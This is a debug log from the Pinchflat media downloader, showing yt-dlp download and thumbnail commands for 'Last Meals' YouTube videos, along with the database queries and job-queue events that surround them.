https://www.youtube.com/watch?v=OKbJG8E64xc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/47/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/7c/29/7c2906170f719cb5e4a3225c2aaa2efebe9fd2b8d4f925f33476b3e8755f6a36.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:46:54.709 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=OKbJG8E64xc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/47/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/7c/29/7c2906170f719cb5e4a3225c2aaa2efebe9fd2b8d4f925f33476b3e8755f6a36.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:46:54.709 [debug] QUERY OK db=0.1ms idle=650.2ms begin [] 21:46:54.710 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:46:52Z], "/downloads/Last Meals/2025-09-04 Jacksepticeye Eats His Last Meal/Jacksepticeye Eats His Last Meal [OKbJG8E64xc].mp4", ~U[2026-03-28 01:46:54Z], 47] 21:46:54.711 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/47/metadata.json.gz", "/config/metadata/media_items/47/thumbnail.jpg", 47, ~U[2026-03-28 01:46:54Z], ~U[2026-03-28 01:46:54Z]] 21:46:54.711 [debug] QUERY OK db=0.2ms commit [] 21:46:54.724 [debug] QUERY OK source="media_items" db=1.6ms idle=663.7ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [428588896, ~U[2026-03-28 01:46:54Z], 47] 21:46:54.724 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:46:54.725 [info] {"args":{"id":47},"id":50,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":150103196,"event":"job:stop","queue_time":3379621391,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:46:54.725 [debug] QUERY OK source="tasks" db=0.2ms idle=665.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:46:54.725 [debug] QUERY OK source="tasks" db=0.2ms idle=503.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:46:54.725 [debug] QUERY OK source="media_items" db=0.1ms idle=14.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [48] 21:46:54.725 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [48] 21:46:54.730 [info] {"args":{"id":49},"id":52,"meta":{},"system_time":1774662414730672499,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:46:54.731 [debug] QUERY OK source="media_items" db=0.3ms idle=5.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [49] 21:46:54.731 [debug] QUERY OK source="tasks" db=0.4ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:46:54.731 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:46:54.731 [debug] QUERY OK source="tasks" db=0.5ms idle=5.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:46:54.731 [debug] QUERY OK source="media_items" db=0.4ms idle=5.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [48, 49] 21:46:54.731 [debug] QUERY OK source="sources" db=0.4ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:46:54.731 [debug] QUERY OK source="media_items" db=0.4ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [48, 49] 21:46:54.732 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:46:54.732 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [49] 21:46:54.732 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [49] 21:46:54.732 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:46:54.732 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:46:54.733 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:46:54.733 [debug] Running yt-dlp command for action: get_downloadable_status 21:46:54.733 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:46:54.733 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:46:54.733 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:46:54.733 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=MZRf9gGXJ2s --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a7/96/a796b337328561105c95b8927d3c42baef688b58ef96fba8d2c8f26309d82fa4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:46:57.669 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=MZRf9gGXJ2s --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a7/96/a796b337328561105c95b8927d3c42baef688b58ef96fba8d2c8f26309d82fa4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:46:57.669 [debug] Running yt-dlp command for action: download 21:46:57.669 [debug] QUERY OK source="settings" db=0.0ms idle=1609.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:46:57.669 [debug] QUERY OK source="settings" db=0.0ms idle=1610.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:46:57.669 [debug] QUERY OK source="settings" db=0.0ms idle=1610.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:46:57.669 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=MZRf9gGXJ2s --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d6/30/d630e246d5375b3898b14578a9409dec91e8b686652e9a854dd9702b7675563d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:46:58.765 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.622 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:47:09.491 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lRevGBgdL0M --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/86/62/8662b4f0327b2b12449b1eb1e10aca12cbaf7e255933290d81d827b8fe3bef4f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:47:09.500 [debug] Running yt-dlp command for action: download_thumbnail 21:47:09.500 [debug] QUERY OK source="settings" db=0.0ms idle=1441.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:47:09.500 [debug] QUERY OK source="settings" db=0.0ms idle=1441.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:47:09.500 [debug] QUERY OK source="settings" db=0.0ms idle=1258.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:47:09.501 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lRevGBgdL0M --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/48/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/1c/e4/1ce48b08156ea23e0f3726b55441e30a9e0b6933939bce692a3e32dc24137171.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:47:12.072 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lRevGBgdL0M --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/48/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/1c/e4/1ce48b08156ea23e0f3726b55441e30a9e0b6933939bce692a3e32dc24137171.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:47:12.073 [debug] QUERY OK db=0.0ms idle=1013.6ms begin [] 21:47:12.073 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:47:09Z], "/downloads/Last Meals/2025-06-03 Joe Jonas Eats His Last Meal/Joe Jonas Eats His Last Meal [lRevGBgdL0M].mp4", ~U[2026-03-28 01:47:12Z], 48] 21:47:12.074 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/48/metadata.json.gz", "/config/metadata/media_items/48/thumbnail.jpg", 48, ~U[2026-03-28 01:47:12Z], ~U[2026-03-28 01:47:12Z]] 21:47:12.074 [debug] QUERY OK db=0.0ms commit [] 21:47:12.087 [debug] QUERY OK source="media_items" db=13.0ms idle=1015.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [375336181, ~U[2026-03-28 01:47:12Z], 48] 21:47:12.087 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:47:12.090 [info] {"args":{"id":48},"id":51,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":134936391,"event":"job:stop","queue_time":3410151341,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:47:12.090 [debug] QUERY OK source="tasks" db=0.2ms idle=1030.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:47:12.090 [debug] QUERY OK source="tasks" db=0.5ms idle=843.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:47:12.090 [debug] QUERY OK source="media_items" db=0.3ms idle=16.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [49] 21:47:12.091 [debug] QUERY OK source="media_items" db=0.3ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [49] 21:47:12.096 [info] {"args":{"id":50},"id":53,"meta":{},"system_time":1774662432095952042,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:47:12.096 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=5.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [50] 21:47:12.096 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:47:12.096 [debug] QUERY OK source="tasks" db=0.6ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:47:12.096 [debug] QUERY OK source="tasks" db=0.6ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:47:12.097 [debug] QUERY OK source="sources" db=0.2ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:47:12.097 [debug] QUERY OK source="media_items" db=0.6ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [49, 50] 21:47:12.098 [debug] QUERY OK source="media_profiles" db=0.7ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:47:12.098 [debug] QUERY OK source="media_items" db=1.1ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [49, 50] 21:47:12.098 [debug] QUERY 